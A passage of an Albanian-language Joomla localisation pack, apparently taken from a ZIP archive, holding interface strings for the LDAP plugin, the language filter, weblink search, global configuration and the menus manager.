PLG_LDAP_FIELD_USERSDN_LABEL="Përdoruesit DN" PLG_LDAP_FIELD_V3_DESC="Normale asht LDAP2, por versionet e fundit t'OpenLdap i kërkojnë klientave me përdorë LDAPV3" PLG_LDAP_FIELD_V3_LABEL="LDAP v3" PLG_LDAP_FIELD_VALUE_BINDSEARCH="Lidh e kërko" PLG_LDAP_FIELD_VALUE_BINDUSER="Lidhe drejtpërdrejt si përdorues" PLG_LDAP_XML_DESCRIPTION="Handles User Authentication against an LDAP server
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PK@y>\V>~6language/sq-AL/sq-AL.plg_system_languagefilter.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="System - Language Filter" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="This plugin filters the displayed content depending on language." PK@y>\Hh((,language/sq-AL/sq-AL.plg_search_weblinks.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Kërko - Nyjet" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_DESC="Numri i rezultateve me nxjerrë" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_LABEL="Kufini i kërkimit" PLG_SEARCH_WEBLINKS_WEBLINKS="Nyjet" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Lejon kërkimin e komponentit të nyjeve t'internetit" PK@y>\ޡKK#language/sq-AL/sq-AL.com_config.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Menaxheri i konfigurimit" COM_CONFIG_ACTION_ADMIN_DESC="Lejon përdoruesit në grup me zhvillue çdo veprim mbi krejt faqen pavarësisht të dhanave të tjera të lejimit." COM_CONFIG_ACTION_CREATE_DESC="Lejon përdoruesit në grup me krijue çfarëdolloj përmbajtjeje në çdo zgjatim." COM_CONFIG_ACTION_DELETE_DESC="Lejon përdoruesit në grup fshi çfarëdolloj përmbajtjeje në çdo zgjatim." COM_CONFIG_ACTION_EDIT_DESC="Lejon përdoruesit në grup me ndryshue çfarëdolloj përmbajtjeje në çdo zgjatim" COM_CONFIG_ACTION_EDITOWN_DESC="Lejon përdoruesit në grup me ndryshue çfarëdolloj përmbajtje që zotnojnë në çdo zgjatim" COM_CONFIG_ACTION_EDITSTATE_DESC="Lejon përdoruesit në grup me ndryshue gjendjen e çfarëdolloj përmbajtjeje në çdo zgjatim" COM_CONFIG_ACTION_LOGIN_ADMIN_DESC="Lejon përdoruesit në grup me hy në faqen administrative të mbrapavijës." COM_CONFIG_ACTION_LOGIN_OFFLINE_DESC="Lejon përdoruesit në grup me hy në ballinë kur faqja asht fikë." COM_CONFIG_ACTION_LOGIN_SITE_DESC="Lejon përdoruesit në grup me hy në ballinë." COM_CONFIG_ACTION_MANAGE_DESC="Lejon përdoruesit në grup me hy kudo në ndërfaqen administrative përveç Konfigurimit global" COM_CONFIG_CACHE_SETTINGS="T'dhanat e keshit" COM_CONFIG_COMPONENT_FIELDSET_LABEL="Komponenti" COM_CONFIG_COOKIE_SETTINGS="T'dhanat e kukit" COM_CONFIG_DATABASE_SETTINGS="T'dhanat e databazës" COM_CONFIG_DEBUG_SETTINGS="T'dhanat debug" COM_CONFIG_ERROR_COMPONENT_ASSET_NOT_FOUND="Aseti i komponentit s'u gjet. Lejet nuk janë ruejtë." COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND="Zgjatimi i Konfigurimit global nuk u gjet. T'dhanat e filtrit të tekstit nuk u ruejtën." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE="Configuration.php s'mund të bahet e shkrueshme" COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE="S'mund të bahet e shkrueshme configuration.php" COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE="Lista e re e faqeve të ndihmës s'mund të ruhet" COM_CONFIG_ERROR_HELPREFRESH_FETCH="Faqe" COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND="Aseti i konfigurimit global s'u gjet. Lejet nuk u ruejtën." COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN="S'mund t'ia heqësh vetes lejet e superadministrimit." COM_CONFIG_ERROR_WRITE_FAILED="S'mund të shkruhet në dokumentin e konfigurimit" COM_CONFIG_FIELD_CACHE_HANDLER_DESC="Zgjidh agjentin e keshit me aktivizue keshin. Mekanizmi native i keshimit bazohet në dokument. Sigurohu që direktoritë e keshit janë të shkrueshme." COM_CONFIG_FIELD_CACHE_HANDLER_LABEL="Agjenti i keshit" COM_CONFIG_FIELD_CACHE_LABEL="Keshi" COM_CONFIG_FIELD_CACHE_DESC="Aktivizo ose çaktivizo keshimin dhe përcakto nivelin e keshimit. Niveli konservativ: kesh ma i vogël sistemi. Niveli progresive (normalja): kesh ma i shpejtë, ma i madh, përfshin keshin e prodhuesve të moduleve. S'përshtatet për faqe jashtzakonisht të mëdha." COM_CONFIG_FIELD_CACHE_TIME_DESC="Gjatësia maksimale e kohës në minuta që nji dokument keshi me u ruejtë para se me u rifreskue." COM_CONFIG_FIELD_CACHE_TIME_LABEL="Koha e keshit" COM_CONFIG_FIELD_COOKIE_DOMAIN_DESC="Domeini me përdorë në përcaktimin e kukive të sesionit. Parapriji domeinit me '.' nëse kuki duhet me qenë i vlefshëm për krejt nëndomeinet." COM_CONFIG_FIELD_COOKIE_DOMAIN_LABEL="Domeini i kukit" COM_CONFIG_FIELD_COOKIE_PATH_DESC="Rrugina për të cilën duhet me qenë i vlefshëm kuki." COM_CONFIG_FIELD_COOKIE_PATH_LABEL="Rrugina e kukit" COM_CONFIG_FIELD_DATABASE_HOST_DESC="Emni i hostit për databazën futë gjatë procesit t'instalimit. Mos e ndrysho këte fushë nëmos qoftë e domosdoshme (p.sh. shpërngulja e databazës te nji host i ri)." COM_CONFIG_FIELD_DATABASE_HOST_LABEL="Hosti" COM_CONFIG_FIELD_DATABASE_NAME_DESC="Emni i databazës futë gjatë procesit t'instailmit. Mos e ndrysho këte fushë nëmos qoftë e domosdoshme (p.sh. shpërngulja e databazës te nji host i ri)." COM_CONFIG_FIELD_DATABASE_NAME_LABEL="Emni i databazës" COM_CONFIG_FIELD_DATABASE_PREFIX_DESC="Prefiksi përdorë për tabelat e databazës futë gjatë procesit t'instalimit. Mos e ndrysho fushën nëmos qoftë absolutisht e nevojshme (p.sh. transferimi i databazës në nji hostues të ri)." COM_CONFIG_FIELD_DATABASE_PREFIX_LABEL="Prefiksi i tabelave të databazës" COM_CONFIG_FIELD_DATABASE_TYPE_DESC="Lloji i databazës në përdorim futë gjatë procesit t'instalimit. Mos e ndrysho këte fushë nëmos të duhet me migrue tek nji lloj tjetër databaze, ndoshta pse po ndryshon hostin." COM_CONFIG_FIELD_DATABASE_TYPE_LABEL="Lloji i databazës" COM_CONFIG_FIELD_DATABASE_USERNAME_DESC="Pseudonimi për hymje në databazë futë gjatë procesit t'instalimit. Mos e ndrysho këte fushë nëmos qoftë e domosdoshme (p.sh. shpërngulja e databazës te nji host i ri)." COM_CONFIG_FIELD_DATABASE_USERNAME_LABEL="Pseudonimi në databazë" COM_CONFIG_FIELD_DEBUG_LANG_DESC="Zgjidh nëse treguesit debug (**...**) ose (??...??) për dokumentat e gjuhës të Joomla!-s kanë me u shfaqë. Gjuha debug ka me punue pa aktivizue Sistemin Debug, por nuk ke me i marrë referencat e hollësishme shtesë që kanë me të ndihmue me ndreqë gabimet e mundshme." COM_CONFIG_FIELD_DEBUG_LANG_LABEL="Gjuha debug" COM_CONFIG_FIELD_DEBUG_SYSTEM_DESC="Nëse aktivizohet, informacioni i diagnostifikimit, përkthimi i gjuhës dhe gabimet SQL (nëse ka) kanë me u shfaqë. Informacioni ka me dalë në kambë të çdo faqeje që sheh brenda mbrapavijës dhe balinës Joomla. Nuk asht e këshillueshme me e lanë gjendjen debug aktive kur e ke faqen ndezë n'internet." COM_CONFIG_FIELD_DEBUG_SYSTEM_LABEL="Sistemi debug" COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC="Zgjidh nivelin normal të hymjes për përmbajtjen e re, sendet e menysë dhe sendet e tjera të reja të krijueme në faqe." COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL="Niveli normal i hymjes" COM_CONFIG_FIELD_DEFAULT_EDITOR_DESC="Zgjidh editorin normal të tekstit për faqen. Përdoruesit e regjistruem kanë me qenë në gjendje me i ndryshue pëlqimet e veta tek hollësinat vetjake nëse e lejon këte opsion." COM_CONFIG_FIELD_DEFAULT_EDITOR_LABEL="Editori normal" COM_CONFIG_FIELD_DEFAULT_CAPTCHA_DESC="Zgjidh shifrën normale për faqen. Mund të të duhet me futë informacion shtesë për pluginin e shifrës tek Menaxheri i Pluginave." COM_CONFIG_FIELD_DEFAULT_CAPTCHA_LABEL="Shifra normale" COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_DESC="Zgjidh numrin e sendeve të përmbajtjes me tregue në fushë(a)." COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_LABEL="Kufini normal i lajmeve feed" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC="Përcakton gjatësinë normale të listave në panelin e kontrollit për krejt përdoruesit." COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL="Kufini normal i listës" COM_CONFIG_FIELD_ERROR_REPORTING_DESC="Zgjidh nivelin e përshtatshëm të raportimit nga lista. Shih Ekranin ndihmë për krejt hollësinat." COM_CONFIG_FIELD_ERROR_REPORTING_LABEL="Raportim gabimesh" COM_CONFIG_FIELD_FEED_EMAIL_DESC="Feeds të lajmeve RSS dhe Atom përfshijnë adresën e emailit t'autorit. Zgjidh emailin e autorit për me përdorë emailin e autorit (nga Përdoruesit) në lajmet feed. Zgjidh emailin e faqes me përfshi adresën e faqes për secilin artikull." COM_CONFIG_FIELD_FEED_EMAIL_LABEL="Emaili feed" COM_CONFIG_FIELD_FILTERS_DEFAULT_BLACK_LIST="Lista e zezë normale" COM_CONFIG_FIELD_FILTERS_CUSTOM_BLACK_LIST="Lista e zezë e veçantë" COM_CONFIG_FIELD_FILTERS_NO_HTML="Pa html" COM_CONFIG_FIELD_FILTERS_NO_FILTER="Pa filtrim" COM_CONFIG_FIELD_FILTERS_WHITE_LIST="Lista e bardhë" COM_CONFIG_FIELD_FORCE_SSL_DESC="Detyro hymjen në faqe me ndodhë gjithmonë me SSL (https) për zonat e përzgjedhuna. Nuk ke me qenë në gjendje me i aksesue zonat e përzgjedhuna pa ssl. Shënim, duhet me pasë SSL-në t'aktivizueme në server për me e përdorë këte opsion." COM_CONFIG_FIELD_FORCE_SSL_LABEL="Detyro SSL" COM_CONFIG_FIELD_FTP_ENABLE_DESC="Aktivizo funksionalitetin e FTP-së (Protokollin e Transferimit të Dokumentave) së brendshëm që nevojitet në disa mjedise serveri me u përdorë në vend të funksionalitetit normal të ngarkimit të Joomla!-s" COM_CONFIG_FIELD_FTP_ENABLE_LABEL="Aktivizoje ftp-në" COM_CONFIG_FIELD_FTP_HOST_DESC="Fut emnin e hostit të serverit FTP." COM_CONFIG_FIELD_FTP_HOST_LABEL="Hosti ftp" COM_CONFIG_FIELD_FTP_PASSWORD_DESC="Fut fjalkalimin FTP" COM_CONFIG_FIELD_FTP_PASSWORD_LABEL="Fjalkalimi ftp" COM_CONFIG_FIELD_FTP_PORT_DESC="Fut portën nga e cila do hyhet në FTP. Normalja asht porta 21." COM_CONFIG_FIELD_FTP_PORT_LABEL="Porta ftp" COM_CONFIG_FIELD_FTP_ROOT_DESC="Rrugina te direktoria rranjë e serve" COM_CONFIG_FIELD_FTP_ROOT_LABEL="Rranja ftp" COM_CONFIG_FIELD_FTP_USERNAME_DESC="Pseudonimi i dhanë me hy në serverin ftp." COM_CONFIG_FIELD_FTP_USERNAME_LABEL="Pseudonimi ftp" COM_CONFIG_FIELD_GZIP_COMPRESSION_DESC="Shtype buffered output-in nëse lejohet." COM_CONFIG_FIELD_GZIP_COMPRESSION_LABEL="Kompresimi gzip i faqes" COM_CONFIG_FIELD_HELP_SERVER_DESC="Zgjidh emnin e serverit ndihmë prej të cilit ka me mbledhë ndihmën sistemi yt." COM_CONFIG_FIELD_HELP_SERVER_LABEL="Serveri ndihmë" COM_CONFIG_FIELD_LOG_PATH_DESC="Për logimin në Joomla. Përcakto nji direktori." COM_CONFIG_FIELD_LOG_PATH_LABEL="Rrugina te direktoria e logut" COM_CONFIG_FIELD_MAIL_FROM_EMAIL_DESC="Emaili që ka me u përdorë me nisë emaila të faqes." COM_CONFIG_FIELD_MAIL_FROM_EMAIL_LABEL="Nga emaili" COM_CONFIG_FIELD_MAIL_FROM_NAME_DESC="Adresa email që ka me u përdorë me nisë emaila të faqes." COM_CONFIG_FIELD_MAIL_FROM_NAME_LABEL="Nga emni" COM_CONFIG_FIELD_MAIL_MAILER_DESC="Përzgjidh postuesin për shpërndamjen e emailave të faqes." COM_CONFIG_FIELD_MAIL_MAILER_LABEL="Dërguesi" COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_DESC="Fut rruginën për tek direktoria e programit të postës te serveri host." COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_LABEL="Rrugina sendmail" COM_CONFIG_FIELD_MAIL_SMTP_AUTH_DESC="Thuej po nëse hosti SMTP kërkon autentifikim SMTP." COM_CONFIG_FIELD_MAIL_SMTP_AUTH_LABEL="Autentifikimi SMTP" COM_CONFIG_FIELD_MAIL_SMTP_HOST_DESC="Fut emnin e hostit SMTP." COM_CONFIG_FIELD_MAIL_SMTP_HOST_LABEL="Hosti SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_DESC="Fut fjalkalimin për hostin SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_LABEL="Fjalkalimi SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PORT_DESC="Fut numrin e portës së serverit SMTP. Përdor 25 për shumicën e serverave të pasiguruem dhe 465 për shumicën e serverave të siguruem." COM_CONFIG_FIELD_MAIL_SMTP_PORT_LABEL="Porta SMTP" COM_CONFIG_FIELD_MAIL_SMTP_SECURE_DESC="Zgjidh modelin e sigurisë që përdor serveri yt SMTP." COM_CONFIG_FIELD_MAIL_SMTP_SECURE_LABEL="Siguria SMTP" COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_DESC="Fut pseudonimin për hymje në hostin SMTP." COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_LABEL="Pseudonimi SMTP" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC="Kompresioni Memcache" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL="Kompresioni Memcache" COM_CONFIG_FIELD_MEMCACHE_HOST_DESC="Hosti i serverit Memcache" COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL="Hosti i serverit Memcache" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC="Memcache persistente" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL="Memcache persistente" COM_CONFIG_FIELD_MEMCACHE_PORT_DESC="Porta e serverit Memcache" COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL="Porta e serverit Memcache" COM_CONFIG_FIELD_METAAUTHOR_DESC="Trego metatag t'autorit kur sheh artikujt." COM_CONFIG_FIELD_METAAUTHOR_LABEL="Trego meta tag t'autorit" COM_CONFIG_FIELD_METADESC_DESC="Fut nji përshkrim të faqes së përgjithshme që ka me u përdorë nga faqet e kërkimit. Përgjithësisht, 20 fjalë mjaftojnë." COM_CONFIG_FIELD_METADESC_LABEL="Përshkrimi meta i faqes" COM_CONFIG_FIELD_METAKEYS_DESC="Fut fjalkyçet dhe shprehjet që e përshkruejnë ma s'mirti faqen. Ndaji fjalkyçet dhe shprehjet me presje." COM_CONFIG_FIELD_METAKEYS_LABEL="Fjalkyçet meta" COM_CONFIG_FIELD_METALANGUAGE_DESC="E vendos gjuhën e përzgjedhun në metadatat e faqes." COM_CONFIG_FIELD_METALANGUAGE_LABEL="Gjuha meta e faqes" COM_CONFIG_FIELD_OFFLINE_IMAGE_DESC="Pamje opsionale me tregue normalisht kur faqja asht fikë" COM_CONFIG_FIELD_OFFLINE_IMAGE_LABEL="Pamja e fikjes" COM_CONFIG_FIELD_OFFLINE_MESSAGE_DESC="Mesazhi i fikjes që ka me u përdorë nëse fusha e 'Mesazhit të fikjes' përcaktohet me zgjedhë 'Përdor mesazh të veçantë'." COM_CONFIG_FIELD_OFFLINE_MESSAGE_LABEL="Mesazh i veçantë" COM_CONFIG_FIELD_SECRET_DESC="Ky asht nji kod unik alfanumerik prodhue automatikisht për secilin instalim Joomla!. Përdoret për siguri." COM_CONFIG_FIELD_SECRET_LABEL="Shifra" COM_CONFIG_FIELD_SEF_REWRITE_DESC="Zgjidh me përdorë motorin e rishkrimit të serverit me kapë URL-të që plotësojnë kushtet e veçanta dhe me i rishkrue sipas udhëzimeve. E mundshme për IIS 7 dhe Apache.
      Vetëm përdorue Apache!
      Riemno htaccess.txt në .htaccess para aktivizimit.
      Vetëm përdoruesit IIS 7!
      Riemno web.config.txt në web.config dhe instalo modulin e rishkrimit t'URL-ve të IIS-së para aktivizimit.
      " COM_CONFIG_FIELD_SEF_REWRITE_LABEL="Përdor rishkrim t'URL-ve" COM_CONFIG_FIELD_SEF_SUFFIX_DESC="Nëse po, sistemi ka me i shtue nji mbrapashtesë nyjeve mbështetë në llojin e dokumentit." COM_CONFIG_FIELD_SEF_SUFFIX_LABEL="I shton mbrapashtesë URL-së" COM_CONFIG_FIELD_SEF_URL_DESC="Zgjidh a me u ba nyjet për SEF" COM_CONFIG_FIELD_SEF_URL_LABEL="Nyjet SEF" COM_CONFIG_FIELD_SERVER_TIMEZONE_DESC="Zgjidh nji qytet në listë me konfigurue datën dhe orën për shfaqje." COM_CONFIG_FIELD_SERVER_TIMEZONE_LABEL="Zona orare e serverit" COM_CONFIG_FIELD_SESSION_HANDLER_DESC="Mekanizmi me të cilin Joomla! identifikon përdoruesin kur ai lidhet me faqen me non-persistent cookies." COM_CONFIG_FIELD_SESSION_HANDLER_LABEL="Agjenti i sesionit" COM_CONFIG_FIELD_SESSION_TIME_DESC="Nxirre jashtë përdoruesin mbasi ka qenë inaktiv për numrin e caktuem të minutave. Mos e ven shum nalt." COM_CONFIG_FIELD_SESSION_TIME_LABEL="Koha e sesionit" COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_DESC="Me tregue ose jo nji mesazh balline kur faqja asht e fikun. Mesazhi i veçantë i fikjes përdor vlerën e përkufizueme në fushën 'Mesazh i veçantë'. Gjuha e mesazhit të fikjes përdor vlerën e përcaktueme në dokumentin ini të gjuhës të faqes." COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_LABEL="Mesazhi i fikjes" COM_CONFIG_FIELD_SITE_NAME_DESC="Fut emnin e faqes. Kjo ka me u përdorë në disa vende (p.sh. në shiritin e lundruesit të mbrapavijës dhe faqet Faqja fikë)." COM_CONFIG_FIELD_SITE_NAME_LABEL="Emni i faqes" COM_CONFIG_FIELD_SITE_OFFLINE_DESC="Zgjidh nëse hymja në mbrapavijën e faqes asht e mundshme. Nëse po, mbrapavija ka me shfaqë ose jo nji mesazh në varësi të të dhanave ma poshtë." COM_CONFIG_FIELD_SITE_OFFLINE_LABEL="Faqja fikë" COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC="Filloji ose përfundoji krejt titujt e faqeve me emnin e faqes (për shembull, Faqja ime - Emni i artikullit)." COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL="Përfshij emnin e faqes në titujt e faqes" COM_CONFIG_FIELD_TEMP_PATH_DESC="Zgjidh nji direktori temp të shkrueshme" COM_CONFIG_FIELD_TEMP_PATH_LABEL="Rrugina për tek direktoria temp" COM_CONFIG_FIELD_UNICODESLUGS_DESC="Zgjidh mes transliterimit dhe aliaseve unicode. Transliterimi asht normalja." COM_CONFIG_FIELD_UNICODESLUGS_LABEL="Aliaset unicode" COM_CONFIG_FIELD_VALUE_ADMINISTRATOR_ONLY="Vetëm administratori" COM_CONFIG_FIELD_VALUE_AFTER="Mbas" COM_CONFIG_FIELD_VALUE_AUTHOR_EMAIL="Emaili i autorit" COM_CONFIG_FIELD_VALUE_BEFORE="Para" COM_CONFIG_FIELD_VALUE_CACHE_OFF="FIKË - Keshimi çaktivizue" COM_CONFIG_FIELD_VALUE_CACHE_CONSERVATIVE="NDEZË - Keshim konservativ" COM_CONFIG_FIELD_VALUE_CACHE_PROGRESSIVE="NDEZË - Keshim progresiv" COM_CONFIG_FIELD_VALUE_DEVELOPMENT="Zhvillim" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_CUSTOM="Përdor mesazh të veçantë" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_LANGUAGE="Përdor mesazhin normal të gjuhës së faqes" COM_CONFIG_FIELD_VALUE_ENTIRE_SITE="Krejt faqja" COM_CONFIG_FIELD_VALUE_MAXIMUM="Maksimumi" COM_CONFIG_FIELD_VALUE_NONE="Asnji" COM_CONFIG_FIELD_VALUE_PHP_MAIL="Posta PHP" COM_CONFIG_FIELD_VALUE_SENDMAIL="sendmail" COM_CONFIG_FIELD_VALUE_SIMPLE="E thjeshtë" COM_CONFIG_FIELD_VALUE_SITE_EMAIL="Emaili i faqes" COM_CONFIG_FIELD_VALUE_SMTP="SMTP" COM_CONFIG_FIELD_VALUE_SSL="SSL" COM_CONFIG_FIELD_VALUE_SYSTEM_DEFAULT="Sistemi normal" COM_CONFIG_FIELD_VALUE_TLS="TLS" COM_CONFIG_FTP_DETAILS="T'dhanat e hymjes FTP" COM_CONFIG_FTP_DETAILS_TIP="Për përditësimin e dokumentit configuration.php, Joomla! me shum gjasaka me lypë hollësinat tueja FTP. Futi ato në fushat ma poshtë." COM_CONFIG_FTP_SETTINGS="T'dhanat ftp" COM_CONFIG_GLOBAL_CONFIGURATION="Konfigurimi" COM_CONFIG_HELPREFRESH_SUCCESS="Lista e faqeve të ndihmës u freskue" COM_CONFIG_LOCATION_SETTINGS="T'dhanat e vendndodhjes" COM_CONFIG_MAIL_SETTINGS="T'dhanat e postës" COM_CONFIG_METADATA_SETTINGS="T'dhanat e metadatave" COM_CONFIG_PERMISSION_SETTINGS="T'dhanat e lejeve" COM_CONFIG_PERMISSIONS="Lejet" COM_CONFIG_SAVE_SUCCESS="Konfigurimi u ruejt me sukses." COM_CONFIG_SEO_SETTINGS="T'dhanat SEO" COM_CONFIG_SERVER="Serveri" COM_CONFIG_SERVER_SETTINGS="T'dhanat e serverit" COM_CONFIG_SESSION_SETTINGS="T'dhanat e sesionit" COM_CONFIG_SITE_SETTINGS="T'dhanat e faqes" COM_CONFIG_SYSTEM="Sistemi" COM_CONFIG_SYSTEM_SETTINGS="T'dhanat e sistemit" COM_CONFIG_TEXT_FILTER_SETTINGS="T'dhanat e filtrit të tekstit" COM_CONFIG_TEXT_FILTERS="Filtrat e tekstit" COM_CONFIG_TEXT_FILTERS_DESC="Këto të dhana të filtrit të tekstit kanë m'u zbatue në tana fushat e editorit të tekstit paraqitë nga përdoruesit në grupet e përzgjedhuna.
      Këto opsione filtrimi japin ma shum kontroll mbi HTML-në që parashtrojnë furnizuesit tuej të përmbajtjes. Mund të jesh i rreptë ose liberal për me plotësue nevojat që ka faqja. Filtrimi asht me dëshirë dhe t'dhanat normale japin mbrojtje të mirë kundrejt sulmeve të zakonshme." COM_CONFIG_XML_DESCRIPTION="Menaxheri i konfigurimit" JLIB_RULES_SETTING_NOTES="1. Nëse i ndryshon të dhanat, kjo ka me u zbatue këtu dhe mbi gjithë grupet, komponentët dhe përmbajtjen fëmi. Ven re që:
      Trashëgue domethanë që kanë m'u përdorë lejet nga grupi prind.
      Mohue nënkupton që pavarësisht të dhanave të grupit prind, grupi që po ndryshohet s'mund ta ndërmarrë këte veprim.
      Lejue domethanë që grupi që po ndryshohet ka me qenë në gjendje me e ndërmarrë këte veprim (por nëse kjo asht në konflikt me grupin prind, nuk ka me pasë ndikim; konflikti ka me u tregue nga S'lejohet (Kyçë) tek t'Dhanat e llogarituna).
      S'a përcaktue përdoret vetëm për grupin Publik në konfigurimin global. Grupi Publik asht prindi i gjithë grupeve të tjera. Nëse leja nuk asht përcaktue, trajtohet si mohim por mund të ndryshohet për grupet, komponentët, kategoritë dhe sendet fëmi.
      2. Nëse përzgjedh të dhana të reja, shtyp Ruej me rifreskue të dhanat e llogarituna." PK@y>\߄5,,"language/sq-AL/sq-AL.com_menus.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MENUS="Menus Manager" COM_MENUS_ADD_MENU_MODULE="Add a module for this menu type." COM_MENUS_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_MENUS_BASIC_FIELDSET_LABEL="Basic Options" COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE="You are not allowed to create new menu items." COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT="You are not allowed to edit menu items." COM_MENUS_BATCH_MENU_LABEL="Select Menu or Parent for Move/Copy" COM_MENUS_BATCH_OPTIONS="Batch process the selected menu items" COM_MENUS_BATCH_TIP="If choosing to copy a menu item, any other actions selected will be applied to the copied menu item. Otherwise, all actions are applied to the selected menu item." COM_MENUS_CONFIGURATION="Menus Configuration" COM_MENUS_EDIT_MODULE_SETTINGS="Edit module settings" COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED="A menu item set to All languages can't be associated. Associations have not been set." COM_MENUS_ERROR_ALREADY_HOME="Menu item already set to home" COM_MENUS_ERROR_ONE_HOME="Only one menu item can be a home link for each language" COM_MENUS_FIELD_FEEDLINK_DESC="Display a feed link for this menu item" COM_MENUS_FIELD_FEEDLINK_LABEL="Feed link" COM_MENUS_FIELD_VALUE_IGNORE="Shpërfill" COM_MENUS_FIELD_VALUE_NEW_WITH_NAV="New Window With Navigation" COM_MENUS_FIELD_VALUE_NEW_WITHOUT_NAV="New Without Navigation" COM_MENUS_FIELD_VALUE_PARENT="Parent" COM_MENUS_GRID_UNSET_LANGUAGE="Unset %s Default" COM_MENUS_HEADING_ASSIGN_MODULE="Moduli" COM_MENUS_HEADING_ASSOCIATION="Association" COM_MENUS_HEADING_DISPLAY="Display" COM_MENUS_HEADING_HOME="Home" COM_MENUS_HEADING_LINKED_MODULES="Modules Linked to the Menu" COM_MENUS_HEADING_NUMBER_MENU_ITEMS="Number of Menu Items" COM_MENUS_HEADING_PUBLISHED_ITEMS="# të botuemve" COM_MENUS_HEADING_TRASHED_ITEMS="# Trashed" COM_MENUS_HEADING_UNPUBLISHED_ITEMS="# të pabotuemve" COM_MENUS_INTEGRATION_FIELDSET_LABEL="Integration Options" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_LABEL="Menu Item Associations" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC="Multilanguage only! This choice will only display if the Language Filter parameter 'Menu Associations' is set to 'Yes'. Choose a menu item for the target language. This association will let the Language Switcher module redirect to the associated menu item in another language. If used, make sure to display the Language switcher module on the concerned pages. A menu item set to language 'All' can't be associated." COM_MENUS_ITEM_DETAILS="Hollësinat" COM_MENUS_ITEM_FIELD_ALIAS_DESC="The alias is used in the URL when SEF is on" COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC="Sendi i menysë nyje tek..." COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL="Sendi i menysë" COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC="An optional, custom style to apply to the menu hyperlink." COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL="Link CSS Style" COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC="An optional, custom description for the title attribute of the menu hyperlink." COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL="Link Title Attribute" COM_MENUS_ITEM_FIELD_ASSIGNED_DESC="Shows which menu a link will appear in." COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL=" Menu Location" COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE="- No association -" COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC="Target browser window when the menu item is clicked." COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL="Target Window" COM_MENUS_ITEM_FIELD_HOME_DESC="Sets this menu item as the default or home page of the site. You must have a default page set at all times." COM_MENUS_ITEM_FIELD_HOME_LABEL="Default Page" COM_MENUS_ITEM_FIELD_LANGUAGE_DESC="Assign a language to this menu item" COM_MENUS_ITEM_FIELD_LINK_DESC="Link for this menu" COM_MENUS_ITEM_FIELD_LINK_LABEL="Nyja" COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC="An optional image to be used with the menu hyperlink " COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL="Link Image" COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC="If the optional image is added, adds the menu title next to the image. Default is 'Yes'." COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL="Add Menu Title" 